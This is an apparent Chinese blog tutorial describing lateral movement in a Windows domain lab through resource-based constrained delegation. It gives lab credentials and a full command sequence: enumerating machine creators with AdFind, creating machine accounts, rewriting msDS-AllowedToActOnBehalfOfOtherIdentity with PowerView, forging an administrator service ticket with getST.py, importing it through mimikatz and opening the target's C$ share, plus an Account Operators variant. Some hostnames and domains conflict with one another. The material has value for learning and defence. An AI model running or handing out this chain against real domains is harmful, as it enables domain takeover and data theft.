基于资源委派的横向移动


基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
所以核心就是谁或什么权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity

环境搭建

域控:
dc.xiaodi.local
windows2012
192.168.3.33
administrator/Admin123456

域内成员主机:
data.xiaodi.local
windows2008
192.168.3.22
administrator/admin!@#45
xd\dbadmin/admin!@#45

域内成员主机:
dc.xiaodi.local
windows7
192.168.3.11
administrator/admin!@#45
xd\dbadmin/admin!@#45

通过管理主机加入域的用户拿下主机

产生于一个账号登录多台电脑
利用过程:
假设此时已经获得win7的权限让win7上线cs进行命令操作。
此时通过cs上传AdFind.exe通过他进行查询是否具有利用条件。
ALT
由此可见web和data两个用户同时具有一个sid此时可以通过资源约束进行横向移动拿下win2008的权限

查询被域用户创建的机器账户列表:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

根据查询出来的sid找出对应的用户名:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

创建机器账户

使用PowerMad工具创建机器账户

将Powermad.ps1上传至目标服务器也可以利用工具进行新增机器账号

powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

使用addcpmputer创建机器账户

python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11

使用bloodyAD工具创建机器账户

python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'

利用新增账号更改msDS-AllowedToActOnBehalfOfOtherIdentity值

上传PowerView.ps1执行

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

得到当前新增sidALT
修改机器的委派属性

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1602)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer datax| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

需要更改sid值和主机名

利用修改后的属性申请目标请求票据后导入利用

修改datax主机委派属性:

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1602)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer data| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

挂个代理到192.168.3.*
本地执行getST.py 获取票据

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/datax.xiaodi.local -impersonate administrator

导入票据到内存:

mimikatz kerberos::ptc administrator.ccache

连接利用票据:

shell dir \\data.xiaodi.local\c$

资源约束委派-Acount Operators组

原理:
Acount Operators组成员可修改域内任意主机的
ALT

查询Acount Operators组成员:

shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member

后续既可以同上从创建机器账户开始
感谢迪总教的好大家关注一下链接: http://xiaodi8.com/

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值